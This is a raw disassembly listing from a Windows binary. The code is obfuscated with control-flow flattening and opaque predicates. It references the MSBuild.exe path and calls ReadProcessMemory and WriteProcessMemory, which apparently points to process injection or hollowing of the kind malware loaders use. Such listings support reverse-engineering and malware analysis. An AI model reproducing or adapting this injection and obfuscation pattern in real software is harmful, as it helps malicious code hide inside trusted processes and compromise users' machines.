jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
sub edx, 0xda358fbd
sub edx, 1
add edx, 0xda358fbd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62e769e4
mov ecx, 0x283beace
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xf0]
mov cl, byte [ebp - 0x9e]
mov byte [eax], cl
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x108], 0x33711e13
jmp 0x10005b57
mov dword [ebp - 0x108], 0xe777d188
jmp 0x10005b57
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x108], 0x7564c202
jmp 0x10005b57
mov dword [ebp - 0x108], 0xaef46b18
jmp 0x10005b57
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x108], 0x7d44d695
jmp 0x10005b57
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x108], 0x9c156c66
jmp 0x10005b57
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x108], 0x298aa739
jmp 0x10005b57
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x108], 0x947f9e53
jmp 0x10005b57
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x108], 0x3fad8f09
jmp 0x10005b57
mov dword [ebp - 0x108], 0x653f0d19
jmp 0x10005b57
mov dword [ebp - 0x108], 0xfa694462
jmp 0x10005b57
jmp 0x10002950